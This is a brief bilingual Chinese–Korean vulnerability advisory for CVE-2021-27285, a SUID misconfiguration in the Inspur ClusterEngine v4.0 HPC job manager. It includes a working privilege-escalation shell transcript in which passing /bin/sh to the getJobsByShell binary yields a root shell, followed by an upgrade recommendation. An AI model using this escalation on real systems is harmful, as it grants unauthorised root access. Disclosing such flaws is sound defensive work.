CVE-2021-27285

浪潮ClusterEngine集群管理平台是专为浪潮天梭系列HPC产品定制的一款作业管理软件。浪潮ClusterEngine存在suid配置不当的问题，导致非管理员用户可以通过部分组件进行提权获得root权限。

인스퍼 클러스터엔진(Inspur ClusterEngine) 클러스터 관리 플랫폼은 인스퍼 톈수오(TianSuo) 시리즈 HPC 제품용으로 특별히 설계된 작업 관리 소프트웨어입니다. 인스퍼 클러스터엔진의 SUID 설정 오류로 인해 비관리자 사용자가 일부 구성 요소를 통해 권한을 상승시키고 루트 액세스 권한을 얻을 수 있습니다.

浪潮clusterenginev4.0存在组件“/opt/tsce4/torque6/bin/getJobsByShell”suid配置不当问题，非管理员用户能通过suid提权方式获得root权限。

인스퍼 클러스터엔진 v4.0에는 구성 요소 "/opt/tsce4/torque6/bin/getJobsByShell"의 잘못된 SUID 구성 문제가 있어, 비관리자 사용자가 SUID 메커니즘을 통해 권한을 상승시키고 루트 액세스 권한을 얻을 수 있습니다.

提权过程如下：

[inspur@mu01 ~]$ whoami
inspur
[inspur@mu01 ~]$ /opt/tsce4/torque6/bin/getJobsByShell /bin/sh
sh-4.2# whoami
root
sh-4.2#

修复建议： 升级相关组件

권고사항: 관련 구성 요소를 패치하십시오.